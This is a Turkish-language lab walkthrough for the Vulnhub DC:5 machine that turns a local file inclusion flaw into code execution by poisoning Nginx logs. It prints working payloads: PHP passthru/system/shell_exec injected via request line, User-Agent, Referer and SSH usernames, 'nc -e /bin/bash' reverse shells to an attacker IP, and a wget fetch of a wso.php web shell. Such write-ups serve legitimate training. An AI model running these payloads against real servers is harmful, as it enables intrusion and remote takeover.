NginxWeb uygulamaları sızma testleri sırasında hedef uygulama üzerindeki bir kontrol eksikliği sebebi ile beklenmeyen dosyalar web uygulaması tarafından çalıştırılabilir. Bu yazıda, DC: 5 sanal makinesindeki log dosyasında bulunan dosya dahil etme (File Inclusion) zafiyeti istismar edilerek, ters bağlantı erişimi elde edilecektir.
Yazıda kullanılan DC: 5 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/dc-5,314/
LFI zafiyetinin bulunduğu URL aşağıdaki gibidir.
http://192.168.3.132/thankyou.php?file=[DOSYA_YOLU]
Bu zafiyet ile sunucu üzerindeki bir dosya (web uygulama kullanıcısının yetkisi dahilinde) okunabilmektedir. Örnek bir sonuç aşağıdaki gibidir.
curl http://192.168.3.132/thankyou.php?file=/etc/passwd -s | sed -n ‘/<footer>/,/<\/footer>/p’
LFI zafiyetini istismar ederek komut çalıştırabilmek için çeşitli yöntemler bulunmaktadır. Bu yöntemlerden birisi de log dosyası zehirleme yönteminin kullanılmasıdır. Sanal makinede çalışan mevcut web sunucusunun Nginx olduğu görülmektedir.
curl -I http://192.168.3.132
Varsayılan Nginx yapılandırma dosyası (“/etc/nginx/nginx.conf“) incelendiğinde web uygulamasına ait logların “/var/log/nginx/” dizini altında olduğu görülmektedir.
curl http://192.168.3.132/thankyou.php?file=/etc/nginx/nginx.conf -s | sed -n ‘/<footer>/,/<\/footer>/p’ | grep -Ev “#|^$”
Benzer olarak web kök dizininin “/var/www/html” olduğu görülmektedir.
curl http://192.168.3.132/thankyou.php?file=/etc/nginx/sites-enabled/default -s | sed -n ‘/<footer>/,/<\/footer>/p’ | grep -Ev “#|^$”
Log dosyası içerisinden komut çalıştırabilmek için PHP passthru metodu kullanılabilir.
nc 192.168.3.132 80
GET thankyou.php?file=<?php passthru($_GET[‘KOMUT’]); ?> HTTP/1.1
Örnek bir komutun sonucu NGNIX log dosyasına yazılmaktadır.
http://192.168.3.132/thankyou.php?file=/var/log/nginx/access.log&KOMUT=ifconfig
Not: HTTP hizmetinin log dosyalarını kullanmak yerine; SSH, SMTP gibi servislerin log dosyaları (/var/log/auth.log, /var/spool/mail/KULLANICI) üzerinden de ters bağlantı elde edilebilir. Örnek;
ssh <? php system($_GET[‘KOMUT’]);?>@HEDEF_IP
smtp-user-enum -M VRFY -U Kullanicilar.liste -t HEDEF_IP
Ters bağlantı elde edebilmek için “nc” aracı kullanılabilir.
nc -e /bin/bash 192.168.3.129 1111
Bir taraftan da ters bağlantı isteğini yakalayacak aşağıdaki gibi bir dinleyici başlatılabilir.
nc -nlvp 1111
“KOMUT” parametresine ters bağlantıyı sağlayacak bir komut verildiğinde ters bağlantı elde edilmiş olacaktır.
http://192.168.3.132/thankyou.php?file=/var/log/nginx/access.log&KOMUT=nc -e /bin/bash 192.168.3.129 1111
nc -nlvp 1111
Bunun yanında log dosyasının içerisinde Referer, User-Agent gibi bilgiler de kaydedilmektedir.
Bu sebeple, User-Agent değeri değiştirilerek de komut satırı erişimi elde edilebilir.
GET /thankyou.php?file=/var/log/nginx/access.log&KOMUT_AJAN=nc -e /bin/bash 192.168.3.129 3333 HTTP/1.1
User-Agent: <?php system($_GET[‘KOMUT_AJAN’]); ?>
Benzer olarak, Referer değeri değiştirilerek de komut satırı erişimi elde edilebilir.
GET /thankyou.php?file=/var/log/nginx/access.log&KOMUT_YONLENDIRMESI=nc -e /bin/bash 192.168.3.129 4444 HTTP/1.1
Referer: <?php shell_exec($_GET[‘KOMUT_YONLENDIRMESI’]); ?>
Not: Kaynaklardaki roguecod3r bağlantısında da belirtildiği gibi dosya yükleme yolu (…access.log&KOMUT=wget http://192.168.3.129:3333/wso.php) veya diske bir form dosyası oluşturma yolu da denenebilir.
Not: “thankyou.php” dosyasının içeriğinde de görüldüğü gibi, bu PHP dosyasına verilen dosya ($file), “include” fonksiyonu kullanılarak kontrolsüz bir şekilde içeri aktarılmıştır.
python -c ‘import pty;pty.spawn(“/bin/bash”)’
cd /var/www/html
ls
sed -n ‘/<footer>/,/<\/footer>/p’ thankyou.php
Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:
- 21LTR: Scene 1: https://www.vulnhub.com/entry/21ltr-scene-1,3/
Kaynaklar:
LFI to shell – exploiting Apache access log
https://chryzsh.gitbooks.io/pentestbook/local_file_inclusion.html
How to perform SSH Log Poisoning through LFI to exploit a web server?
https://medium.com/@Aptive/local-file-inclusion-lfi-web-application-penetration-testing-cc9dc8dd3601
https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a